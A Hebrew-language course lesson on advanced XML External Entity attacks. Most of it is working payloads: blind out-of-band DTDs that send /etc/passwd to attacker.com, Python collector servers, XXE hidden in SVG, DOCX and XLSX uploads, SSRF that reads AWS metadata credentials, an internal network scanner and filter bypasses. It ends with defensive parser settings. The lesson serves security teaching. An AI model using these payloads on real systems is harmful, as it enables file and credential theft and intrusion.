הזרקת XML מתקדמת - Advanced XXE¶
מבוא¶
בקורס הבסיסי למדנו על XXE (XML External Entity) רגיל - הגדרת entity חיצוני שמצביע לקובץ מקומי או לכתובת חיצונית. בשיעור הזה נעמיק לטכניקות מתקדמות: XXE עיוור עם חילוץ out-of-band, XXE דרך קבצים שונים, parameter entities, ועוד.
תזכורת - XXE בסיסי¶
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
XXE עיוור - Blind XXE¶
כאשר התגובה של השרת לא מציגה את תוכן ה-entity, אנחנו צריכים טכניקות חילוץ חלופיות.
OOB עם DTD חיצוני - Out-of-Band Exfiltration¶
העיקרון: נגרום לשרת הפגיע לשלוח את הנתונים לשרת שלנו.
שלב 1 - קובץ DTD בשרת התוקף¶
<!-- evil.dtd - מתארח ב-http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;
שלב 2 - ה-payload שנשלח לשרת הפגיע¶
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>
<data>anything</data>
</root>
מה קורה¶
- השרת הפגיע טוען את
evil.dtdמהתוקף - ה-DTD מגדיר entity שקורא
/etc/passwd - ה-DTD מגדיר entity שעושה בקשה לשרת התוקף עם התוכן
- התוקף מקבל את תוכן הקובץ בלוג של השרת שלו
שרת מקבל בצד התוקף¶
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/collect'):
query = urllib.parse.urlparse(self.path).query
data = urllib.parse.parse_qs(query).get('data', [''])[0]
print(f"[+] Exfiltrated data:\n{data}")
# גם מגיש את evil.dtd
return super().do_GET()
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
שימוש ב-Burp Collaborator¶
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/evil.dtd">
%xxe;
]>
<root><data>test</data></root>
XXE מבוסס שגיאות - Error-based XXE¶
כאשר OOB לא עובד (למשל חומת אש חוסמת תעבורה יוצאת), אפשר לחלץ נתונים דרך הודעות שגיאה.
DTD עם שגיאה מכוונת¶
<!-- error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
ה-payload¶
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/error.dtd">
%xxe;
]>
<root><data>test</data></root>
התוצאה¶
Error: Failed to open file:///nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
תוכן הקובץ מופיע בהודעת השגיאה.
Parameter Entities - ישויות פרמטריות¶
Parameter entities (עם %) ניתנות לשימוש רק בתוך ה-DTD. הן חיוניות ל-blind XXE:
<!-- ההבדל בין entity רגיל ל-parameter entity -->
<!-- Entity רגיל - משמש ב-XML -->
<!ENTITY regular "value">
<!-- שימוש: ®ular; -->
<!-- Parameter entity - משמש רק ב-DTD -->
<!ENTITY % param "value">
<!-- שימוש: %param; -->
למה צריך parameter entities?¶
<!-- זה לא עובד - אי אפשר להגדיר entity בתוך entity -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY exfil SYSTEM "http://attacker.com/?data=%file;">
<!-- זה עובד - parameter entity בתוך DTD חיצוני -->
<!-- כי DTD חיצוני מאפשר הגדרת entities מקוננות -->
XXE דרך העלאת קבצים¶
XXE דרך SVG¶
קבצי SVG הם XML. אם האפליקציה מקבלת העלאת SVG:
<!-- malicious.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="20">&xxe;</text>
</svg>
אם השרת מעבד את ה-SVG (למשל ליצירת thumbnail), הוא יקרא את הקובץ.
XXE דרך DOCX¶
קבצי DOCX הם ארכיוני ZIP שמכילים קבצי XML. אפשר להזריק XXE לתוכם:
# שלב 1 - יצירת DOCX תקין
# או שימוש בקובץ DOCX קיים
# שלב 2 - חילוץ ה-DOCX
mkdir docx_contents && cd docx_contents
unzip ../document.docx
# שלב 3 - עריכת [Content_Types].xml או word/document.xml
<!-- word/document.xml עם XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
XXE דרך XLSX¶
# חילוץ ה-XLSX
mkdir xlsx_contents && cd xlsx_contents
unzip ../spreadsheet.xlsx
# עריכת xl/workbook.xml
<!-- xl/workbook.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets>
<sheet name="&xxe;" sheetId="1" />
</sheets>
</workbook>
XXE דרך PDF (עם XMP metadata)¶
<!-- XMP metadata בתוך PDF -->
<?xpacket begin="" id="">
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:Description>&xxe;</rdf:Description>
</x:xmpmeta>
<?xpacket end="w"?>
XXE בבקשות SOAP¶
בקשות SOAP הן XML ולכן פגיעות ל-XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<GetUser>
<username>&xxe;</username>
</GetUser>
</soapenv:Body>
</soapenv:Envelope>
XXE ל-SSRF¶
שימוש ב-XXE כדי לגשת לשירותים פנימיים:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
סריקת רשת פנימית¶
import requests
url = "http://target.com/api/parse"
for i in range(1, 255):
payload = f"""<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.{i}/">
]>
<root><data>&xxe;</data></root>"""
try:
response = requests.post(url, data=payload,
headers={"Content-Type": "application/xml"},
timeout=3)
if response.status_code == 200 and len(response.text) > 100:
print(f"[+] Host alive: 192.168.1.{i}")
except:
pass
גישה ל-AWS Metadata¶
<!-- קריאת credentials מ-AWS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root><data>&xxe;</data></root>
XXE בפרסרים שונים¶
libxml2 (PHP, Python)¶
// PHP - פגיע כברירת מחדל בגרסאות ישנות
$xml = simplexml_load_string($input);
// PHP - פגיע אם LIBXML_NOENT מופעל
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NOENT);
SAX Parser (Java)¶
// פגיע - SAX parser ב-Java
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// מתוקן - ניטרול DTD ו-external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DOM Parser (Java)¶
// פגיע
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);
// מתוקן
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
.NET (C#)¶
// פגיע - גרסאות ישנות של .NET
XmlDocument doc = new XmlDocument();
doc.LoadXml(userInput);
// מתוקן
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // מנטרל entity resolution
doc.LoadXml(userInput);
// או עם XmlReaderSettings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
טכניקות עקיפה¶
עקיפת חסימת SYSTEM¶
<!-- אם SYSTEM חסום, ננסה PUBLIC -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd">
]>
<root>&xxe;</root>
עקיפת חסימת פרוטוקול file¶
<!-- שימוש בפרוטוקולים חלופיים -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
XInclude¶
כאשר אין שליטה על כל מסמך ה-XML, אבל יש שליטה על ערך שמוכנס ל-XML:
<!-- XInclude - לא דורש DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
UTF-7 Encoding¶
<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AFs-+AD4-
+ADw-root+AD4-+ACY-xxe;+ADw-/root+AD4-
בניית DTD זדוני לחילוץ OOB¶
DTD מלא לחילוץ קבצים¶
<!-- exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;
DTD לחילוץ בבלוקים (לקבצים גדולים)¶
<!-- chunk1.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/c?d=%file;'>">
%eval;
%exfil;
DTD לחילוץ עם FTP¶
<!-- ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;
שרת FTP מקבל בצד התוקף:
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 21))
server.listen(1)
while True:
conn, addr = server.accept()
conn.send(b'220 FTP Ready\r\n')
while True:
data = conn.recv(1024)
if not data:
break
print(f"[+] Received: {data.decode()}")
if data.startswith(b'USER'):
conn.send(b'331 OK\r\n')
elif data.startswith(b'PASS'):
conn.send(b'230 OK\r\n')
elif data.startswith(b'RETR') or data.startswith(b'CWD'):
conn.send(b'550 Not found\r\n')
else:
conn.send(b'200 OK\r\n')
conn.close()
הגנה מפני XXE¶
עקרון 1 - ניטרול DTDs לחלוטין¶
# Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
doc = etree.fromstring(xml_input, parser)
# Python - defusedxml (מומלץ)
import defusedxml.ElementTree as ET
doc = ET.fromstring(xml_input)
// PHP - ניטרול external entities
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($input);
// PHP 8+ - ברירת מחדל בטוחה, אבל כדאי לוודא
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NONET);
// Java - ניטרול מלא
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
עקרון 2 - שימוש ב-JSON במקום XML¶
# במקום לקבל XML
@app.route('/api/data', methods=['POST'])
def process():
data = request.get_json() # JSON פשוט ובטוח
return jsonify(result=process_data(data))
עקרון 3 - ולידציה של סוג קובץ¶
# בדיקה שקבצים שעולים הם באמת מה שהם טוענים
import magic
def validate_upload(file):
mime = magic.from_buffer(file.read(1024), mime=True)
file.seek(0)
allowed_mimes = {'image/png', 'image/jpeg', 'image/gif'}
if mime not in allowed_mimes:
raise ValueError(f"Invalid file type: {mime}")
סיכום¶
XXE מתקדם מרחיב את משטח התקיפה הרבה מעבר ל-XXE בסיסי:
- Blind XXE - חילוץ נתונים דרך OOB כשאין פלט ישיר
- Error-based XXE - חילוץ דרך הודעות שגיאה
- XXE בקבצים - SVG, DOCX, XLSX כולם מכילים XML
- Parameter entities - חיוניות ל-blind XXE דרך DTD חיצוני
- XXE ל-SSRF - גישה לשירותים פנימיים ול-cloud metadata
- ההגנה הטובה ביותר היא ניטרול מוחלט של DTDs ו-external entities